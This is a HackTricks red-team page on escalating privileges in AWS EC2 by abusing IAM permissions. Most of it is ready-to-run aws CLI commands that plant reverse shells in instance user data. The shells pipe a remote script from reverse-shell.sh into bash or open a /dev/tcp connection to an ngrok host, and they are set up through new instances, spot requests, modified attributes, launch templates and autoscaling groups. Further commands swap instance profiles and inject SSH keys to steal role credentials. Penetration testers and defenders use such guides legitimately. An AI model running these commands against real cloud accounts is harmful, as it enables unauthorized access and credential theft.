Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
For more info about EC2 check:
{% content-ref url="../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum {% endcontent-ref %}
An attacker could create and instance attaching an IAM role and then access the instance to steal the IAM role credentials from the metadata endpoint.
- Access via SSH
Run a new instance using a created ssh key (--key-name
) and then ssh into it (if you want to create a new one you might need to have the permission ec2:CreateKeyPair
).
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
- Access via rev shell in user data
You can run a new instance using a user data (--user-data
) that will send you a rev shell. You don't need to specify security group this way.
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:
{% content-ref url="../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md" %} aws-guardduty-enum.md {% endcontent-ref %}
Potential Impact: Direct privesc to a any EC2 role attached to existing instance profiles.
With this set of permissions you could also create an EC2 instance and register it inside an ECS cluster. This way, ECS services will be run in inside the EC2 instance where you have access and then you can penetrate those services (docker containers) and steal their ECS roles attached.
{% code overflow="wrap" %}
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
{% endcode %}
To learn how to force ECS services to be run in this new EC2 instance check:
{% content-ref url="aws-ecs-privesc.md" %} aws-ecs-privesc.md {% endcontent-ref %}
If you cannot create a new instance but has the permission ecs:RegisterContainerInstance
you might be able to register the instance inside the cluster and perform the commented attack.
Potential Impact: Direct privesc to ECS roles attached to tasks.
Similar to the previous scenario, an attacker with these permissions could change the IAM role of a compromised instance so he could steal new credentials.
As an instance profile can only have 1 role, if the instance profile already has a role (common case), you will also need iam:RemoveRoleFromInstanceProfile
.
{% code overflow="wrap" %}
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
{% endcode %}
If the instance profile has a role and the attacker cannot remove it, there is another workaround. He could find an instance profile without a role or create a new one (iam:CreateInstanceProfile
), add the role to that instance profile (as previously discussed), and associate the instance profile compromised to a compromised instance:
- If the instance doesn't have any instance profile (
ec2:AssociateIamInstanceProfile
) *
{% code overflow="wrap" %}
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
{% endcode %}
Potential Impact: Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
iam:PassRole
(( ec2:AssociateIamInstanceProfile
& ec2:DisassociateIamInstanceProfile
) || ec2:ReplaceIamInstanceProfileAssociation
)
With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.
- If it has an instance profile, you can remove the instance profile (
ec2:DisassociateIamInstanceProfile
) and associate it *
{% code overflow="wrap" %}
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
{% endcode %}
- or replace the instance profile of the compromised instance (
ec2:ReplaceIamInstanceProfileAssociation
). *
{% code overflow="wrap" %}
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
{% endcode %}
Potential Impact: Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
An attacker with the permissions ec2:RequestSpotInstances
andiam:PassRole
can request a Spot Instance with an EC2 Role attached and a rev shell in the user data.
Once the instance is run, he can steal the IAM role.
{% code overflow="wrap" %}
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
{% endcode %}
An attacker with the ec2:ModifyInstanceAttribute
can modify the instances attributes. Among them, he can change the user data, which implies that he can make the instance run arbitrary data. Which can be used to get a rev shell to the EC2 instance.
Note that the attributes can only be modified while the instance is stopped, so the permissions ec2:StopInstances
and ec2:StartInstances
.
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
Potential Impact: Direct privesc to any EC2 IAM Role attached to a created instance.
An attacker with the permissions ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
and ec2:ModifyLaunchTemplate
can create a new Launch Template version with a rev shell in the user data and any EC2 IAM Role on it, change the default version, and any Autoscaler group using that Launch Template that is configured to use the latest or the default version will re-run the instances using that template and will execute the rev shell.
{% code overflow="wrap" %}
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
{% endcode %}
Potential Impact: Direct privesc to a different EC2 role.
An attacker with the permissions autoscaling:CreateLaunchConfiguration
,autoscaling:CreateAutoScalingGroup
,iam:PassRole
can create a Launch Configuration with an IAM Role and a rev shell inside the user data, then create an autoscaling group from that config and wait for the rev shell to steal the IAM Role.
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
Potential Impact: Direct privesc to a different EC2 role.
The set of permissions ec2:CreateLaunchTemplate
and autoscaling:CreateAutoScalingGroup
aren't enough to escalate privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template you need to permissions iam:PassRole
and ec2:RunInstances
(which is a known privesc).
An attacker with the permission ec2-instance-connect:SendSSHPublicKey
can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges.
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
Potential Impact: Direct privesc to the EC2 IAM roles attached to running instances.
An attacker with the permission ec2-instance-connect:SendSerialConsoleSSHPublicKey
can add an ssh key to a serial connection. If the serial is not enable, the attacker needs the permission ec2:EnableSerialConsoleAccess
to enable it.
In order to connect to the serial port you also need to know the username and password of a user inside the machine.
{% code overflow="wrap" %}
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
{% endcode %}
This way isn't that useful to privesc as you need to know a username and password to exploit it.
Potential Impact: (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances.
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.